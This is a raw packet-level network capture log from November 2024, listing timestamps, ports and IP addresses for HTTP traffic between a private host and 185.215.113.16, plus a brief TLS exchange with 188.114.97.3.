Nov 1, 2024 03:46:23.866383076 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.866385937 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.866400003 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.866416931 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.866436958 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.866449118 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.866466999 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.866487026 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.866966009 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.867010117 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.893949986 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.893970966 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.894037962 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.898777962 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.898789883 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.898839951 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.898849964 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.898894072 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.898932934 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.898946047 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.898972034 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.898988962 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.899138927 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.899151087 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.899162054 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.899185896 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.899219036 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.899363995 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.899375916 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.899418116 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.899498940 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.899535894 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.899544954 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.899549007 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.899574041 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.899590015 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.899738073 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.899749994 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.899792910 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.899883986 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.899895906 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.899908066 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.899919987 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.899929047 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.899957895 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.900212049 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.900223970 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.900235891 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.900248051 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.900259972 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.900274992 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.900286913 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.900299072 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.900635958 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.900646925 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.900656939 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.900691986 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.900717974 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.900785923 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.900799036 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.900810003 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.900842905 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.900871992 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.901045084 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.901057005 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.901072979 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.901084900 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.901096106 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.901104927 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.901109934 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.901133060 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.901144981 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.901561975 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.901573896 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.901585102 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.901597023 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.901606083 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.901608944 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.901622057 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.901657104 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.901670933 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.936059952 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.936117887 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.936120033 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.936151981 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.936166048 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.936194897 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.983460903 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.983544111 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.983556986 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.983592987 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.983623028 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.983767986 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.983779907 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.983824968 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.983906031 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.983952999 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.984013081 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.984025002 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.984059095 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.984085083 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.984175920 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.984189034 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.984200001 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.984215021 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.984229088 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.984262943 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.984611988 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.984623909 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.984636068 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.984652996 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.984657049 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.984666109 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.984678984 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.984689951 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.984689951 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.984703064 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.984726906 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.984741926 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.985403061 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.985414982 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.985546112 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.985563040 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.985575914 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.985584974 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.985589027 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.985603094 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.985609055 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.985620022 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.985632896 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.985644102 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.985677958 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.998667002 CET	58532	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:23.998694897 CET	443	58532	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:24.000082016 CET	58532	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:24.000463963 CET	58532	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:24.000479937 CET	443	58532	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:24.017450094 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.017499924 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.017510891 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.017564058 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.017594099 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.017601967 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.017743111 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.017755032 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.017765999 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.017779112 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.017796040 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.017823935 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.018064022 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.018075943 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.018085957 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.018104076 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.018141031 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.018215895 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.018349886 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.018361092 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.018381119 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.018398046 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.018429995 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.018590927 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.018603086 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.018654108 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.018675089 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.018699884 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.018697023 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.018716097 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.018724918 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.018750906 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.018754005 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.018774986 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.018790960 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.018790960 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.018827915 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.019218922 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.019231081 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.019242048 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.019254923 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.019378901 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.019577980 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.019589901 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.019601107 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.019613028 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.019632101 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.019651890 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.019664049 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.019686937 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.019948006 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.019958973 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.020004034 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.020030975 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.020071030 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.020143032 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.020154953 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.020165920 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.020179033 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.020186901 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.020190954 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.020203114 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.020212889 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.020216942 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.020241976 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.020266056 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.020766020 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.020777941 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.020790100 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.020828009 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.020855904 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.054831028 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.054855108 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.054866076 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.054912090 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.054949045 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.102066994 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.102098942 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.102112055 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.102129936 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.102153063 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.102277040 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.102288961 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.102300882 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.102313042 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.102324009 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.102365971 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.102365971 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.102685928 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.102698088 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.102710962 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.102720976 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.102732897 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.102757931 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.103017092 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.103029013 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.103041887 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.103054047 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.103085041 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.103111982 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.103530884 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.103542089 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.103552103 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.103563070 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.103579998 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.103584051 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.103596926 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.103607893 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.103611946 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.103621006 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.103626013 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.103646994 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.103672028 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.104384899 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.104396105 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.104413033 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.104466915 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.136580944 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.136605024 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.136617899 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.136657953 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.136682987 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.136835098 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.136847973 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.136858940 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.136884928 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.136915922 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.137145042 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.137164116 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.137176991 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.137233973 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.137233973 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.137393951 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.137408018 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.137420893 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.137437105 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.137443066 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.137453079 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.137465954 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.137496948 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.137881041 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.137892962 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.137903929 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.137916088 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.137928009 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.137936115 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.137940884 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.137953043 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.137965918 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.137998104 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.138514042 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.138530016 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.138541937 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.138546944 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.138552904 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.138557911 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.138660908 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.138840914 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.138851881 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.138858080 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.138863087 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.138868093 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.138873100 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.138879061 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.138943911 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.139461040 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.139472961 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.139478922 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.139488935 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.139501095 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.139508963 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.139527082 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.139560938 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.140206099 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.140222073 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.140233040 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.140245914 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.140253067 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.140266895 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.140274048 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.140283108 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.140295982 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.140301943 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.140309095 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.140316010 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.140352011 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.140940905 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.140961885 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.140970945 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.140984058 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.140995979 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.140999079 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.141012907 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.141024113 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.141032934 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.141057014 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.141067982 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.173475027 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.173650980 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.173662901 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.173674107 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.173723936 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.173762083 CET	58527	80	192.168.2.6	185.215.113.16
